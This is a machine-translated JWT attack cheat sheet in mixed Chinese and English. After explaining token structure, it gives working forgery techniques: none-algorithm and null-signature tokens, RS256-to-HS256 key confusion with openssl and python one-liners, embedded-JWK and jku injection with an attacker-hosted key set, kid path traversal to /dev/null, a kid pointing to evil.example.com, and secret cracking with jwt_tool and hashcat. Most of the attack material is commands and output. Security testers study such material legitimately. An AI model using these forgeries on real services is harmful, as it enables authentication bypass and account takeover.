JWT - JSON Web Token JSON Web Token (JWT) 是一种开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,用于以 JSON 对象的形式在各方之间安全地传输信息。由于该信息经过数字签名,因此可以被验证并信任。 概要 工具 JWT 格式 头部 载荷 JWT 签名 JWT 签名 - 空签名攻击(CVE-2020-28042) JWT 签名 - 泄露正确签名(CVE-2019-7644) JWT 签名 - None 算法(CVE-2015-9235) JWT 签名 - 密钥混淆攻击:RS256 到 HS256(CVE-2016-5431) JWT 签名 - 密钥注入攻击(CVE-2018-0114) JWT 签名 - 从已签名的 JWT 中恢复公钥
JSON Web Token (JWT) 是一种开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,用于以 JSON 对象的形式在各方之间安全地传输信息。由于该信息经过数字签名,因此可以被验证并信任。
JSON Web Token : Base64(Header).Base64(Data).Base64(Signature)
示例 : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY
我们可以将其分为由点分隔的 3 个部分。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # header eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
JSON Web Signature (JWS) RFC 中定义的注册头部参数名称。
最基本的 JWT 头部是以下 JSON。
{ "typ": "JWT", "alg": "HS256" }
其他参数已在 RFC 中注册。
| 参数 | 定义 | 描述 |
|---|---|---|
| alg | 算法 | 标识用于保护 JWS 的加密算法 |
| jku | JWK 集合 URL | 指向一组 JSON 编码公钥的资源 |
| jwk | JSON Web Key | 用于对 JWS 进行数字签名的公钥 |
| kid | 密钥 ID | 用于保护 JWS 的密钥 |
| x5u | X.509 URL | X.509 公钥证书或证书链的 URL |
| x5c | X.509 证书链 | 以 PEM 编码格式存储的 X.509 公钥证书或证书链,用于对 JWS 进行数字签名 |
| x5t | X.509 证书 SHA-1 指纹) | X.509 证书 DER 编码的 SHA-1 指纹(摘要)的 Base64 URL 编码 |
| x5t#S256 | X.509 证书 SHA-256 指纹 | X.509 证书 DER 编码的 SHA-256 指纹(摘要)的 Base64 URL 编码 |
| typ | 类型 | 媒体类型。通常为 JWT |
| cty | Content Type | This header parameter is not recommended to use |
| crit | Critical | Extensions and/or JWA are being used |
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
alg Param Value |
Digital Signature or MAC Algorithm | Requirements |
|---|---|---|
| HS256 | HMAC using SHA-256 | Required |
| HS384 | HMAC using SHA-384 | Optional |
| HS512 | HMAC using SHA-512 | Optional |
| RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
| RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
| RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
| ES256 | ECDSA using P-256 and SHA-256 | Recommended |
| ES384 | ECDSA using P-384 and SHA-384 | Optional |
| ES512 | ECDSA using P-521 and SHA-512 | Optional |
| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
| none | No digital signature or MAC performed | Required |
Inject headers with ticarpi/jwt_tool: python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2
{ "sub":"1234567890", "name":"Amazing Haxx0r", "exp":"1466270722", "admin":true }
声明是预定义的键及其值:
使用 ticarpi/jwt_tool 注入载荷声明:python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3
Send a JWT with HS256 algorithm without a signature like eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
漏洞利用:
python3 jwt_tool.py JWT_HERE -X n
拆解:
{"alg":"HS256","typ":"JWT"}. {"sub":"1234567890","name":"John Doe","iat":1516239022}
发送一个签名不正确的 JWT,端点可能会返回一个错误,从而泄露正确的签名。
Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=
JWT 支持一个 None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
None algorithm variants:
noneNoneNONEnOnE要利用此漏洞,你只需解码 JWT 并更改用于签名的算法。然后你可以提交新的 JWT。但是,除非你 删除 签名,否则这将不起作用。
或者,你可以修改现有的 JWT(注意过期时间)。
python3 jwt_tool.py [JWT_HERE] -X a
手动编辑 JWT
import jwt jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ' decodedToken = jwt.decode(jwtToken, verify=False) # decode the token before encoding with type 'None' noneEncoded = jwt.encode(decodedToken, key='', algorithm=None) print(noneEncoded.decode())
如果服务器代码期望一个“alg”设置为 RSA 的令牌,但收到一个“alg”设置为 HMAC 的令牌,它在验证签名时可能会无意中将公钥用作 HMAC 对称密钥。
由于攻击者有时可以获取公钥,攻击者可以将头部中的算法修改为 HS256,然后使用 RSA 公钥对数据进行签名。当应用程序与其 TLS Web 服务器使用相同的 RSA 密钥对时:openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout
算法 HS256 使用密钥对每条消息进行签名和验证。
算法 RS256 使用私钥对消息进行签名,并使用公钥进行身份验证。
import jwt public = open('public.pem', 'r').read() print public print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
⚠️ 此行为已在 Python 库中修复,并将返回此错误 jwt.exceptions.InvalidKeyError: 指定的密钥是非对称密钥或 X.509 证书,不应用作 HMAC 密钥。. You need to install the following version: pip install pyjwt==0.4.3。
python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
/jwks.json or /.well-known/jwks.json新 RSA 密钥.{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}新对称密钥 in JWK format.HS256 and the data.签名 and keep the option: 不要修改头部手动按照以下步骤将 RS256 JWT 令牌编辑为 HS256
使用此命令将我们的公钥(key.pem)转换为 HEX。
$ cat key.pem | xxd -p | tr -d "\\n" 2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
通过提供我们的公钥作为 ASCII 十六进制,并结合我们之前编辑过的令牌,生成 HMAC 签名。
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
将签名(十六进制转为“base64 URL”)
python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
将签名添加到编辑后的载荷中
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
在 0.11.0 之前的 Cisco node-jose 开源库中存在一个漏洞,可能导致未经身份验证的远程攻击者使用嵌入在令牌中的密钥重新签署令牌。该漏洞源于 node-jose 遵循 JSON Web Signature (JWS) 标准来处理 JSON Web Tokens (JWTs)。该标准规定,代表公钥的 JSON Web Key (JWK) 可以嵌入在 JWS 的头部中。然后,该公钥会被信任用于验证。攻击者可以通过移除原始签名、在头部中添加一个新的公钥,然后使用与该 JWS 头部中嵌入的公钥关联的(攻击者拥有的)私钥对对象进行签名,从而伪造有效的 JWS 对象。
漏洞利用:
Using ticarpi/jwt_tool
python3 jwt_tool.py [JWT_HERE] -X i
Using portswigger/JWT Editor
New RSA keyAttack > Embedded JWKDeconstructed:
{ "alg": "RS256", "typ": "JWT", "jwk": { "kty": "RSA", "kid": "jwt_tool", "use": "sig", "e": "AQAB", "n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw" } }. {"login":"admin"}. [Signed with new Private key; Public key injected]
The RS256, RS384, and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and their corresponding signatures.
SecuraBV/jws2pubkey: compute an RSA public key from two signed JWTs
$ docker run -it ttervoort/jws2pubkey JWS1 JWS2 $ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk Computing public key. This may take a minute... {"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}
To create a JWT, a secret key is used to sign the header and payload, generating the signature. The secret key must be kept confidential and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker gains access to the secret key, they can create, modify, or sign their own tokens, bypassing the intended security controls.
Using ticarpi/jwt_tool:
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T Token header values: [+] alg = "HS256" [+] typ = "JWT" Token payload values: [+] name = "John Doe"
Using pyjwt: pip install pyjwt
import jwt encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') jwt.decode(encoded, 'secret', algorithms=['HS256'])
A useful list of 3,502 publicly available JWT secrets: wallarm/jwt-secrets/jwt.secrets.list, including your_jwt_secret, change_this_super_secret_random_string, etc.
First, brute-force the "secret" key used to compute the signature using ticarpi/jwt_tool
python3 -m pip install termcolor cprint pycryptodomex requests python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
Then, edit the field within the JSON Web Token.
Current value of role is: user Please enter new value and hit ENTER > admin [1] sub = 1234567890 [2] role = admin [3] iat = 1516239022 [0] Continue to next step Please select a field number (or 0 to Continue): > 0
Finally, complete the token by signing it with the previously retrieved "secret" key.
Token Signing: [1] Sign token with known key [2] Strip signature from token vulnerable to CVE-2015-2951 [3] Sign with Public Key bypass vulnerability [4] Sign token with key file Please select an option from above (1-4): > 1 Please enter the known key: > secret Please enter the key length: [1] HMAC-SHA256 [2] HMAC-SHA384 [3] HMAC-SHA512 > 1 Your new forged token: [+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic [+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgwpython3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pbpython3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv adminpython3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txtpython3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv adminSupport added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - src
hashcat -a 0 -m 16500 jwt.txt wordlist.txthashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rulehashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits; rather, it enables the recipient to locate the key needed to verify the integrity of the JWT.
Example #1: Local file
{ "alg": "HS256", "typ": "JWT", "kid": "/root/res/keys/secret.key" }
Example #2: Remote file
{ "alg":"RS256", "typ":"JWT", "kid":"http://localhost:7070/privKey.key" }
The content of the file specified in the kid header will be used to generate the signature.
// Example for HS256 HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), your-256-bit-secret-from-secret.key )
Common ways to misuse the kid header include:
Obtaining the key content to modify the payload
Changing the key path to force your own
>>> jwt.encode( ... {"some": "payload"}, ... "secret", ... algorithm="HS256", ... headers={"kid": "http://evil.example.com/custom.key"}, ... )
Changing the key path to a file with predictable content.
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
Modifying the kid header to attempt SQL and command injections
The "jku" header value points to the URL of the JWKS file. By replacing the "jku" URL with an attacker-controlled URL containing the public key, an attacker can use the paired private key to sign the token, allowing the service to retrieve the malicious public key and verify the token.
This endpoint is sometimes exposed publicly via a standard endpoint:
/jwks.json/.well-known/jwks.json/openid/connect/jwks.json/api/keys/api/v1/keys/{tenant}/oauth2/v1/certsFor this attack, you should generate your own key pair and host it. It should look like this:
{ "keys": [ { "kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54", "kty": "RSA", "e": "AQAB", "n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ" } ] }
Exploit:
Using ticarpi/jwt_tool
python3 jwt_tool.py JWT_HERE -X s python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json
Using portswigger/JWT Editor
kid header with the one from your JWKSjku header and sign the JWT (Don't modify header option should be checked)Deconstructed:
{"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}. {"login":"admin"}. [Signed with new Private key; Public key exported]
免责声明:
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。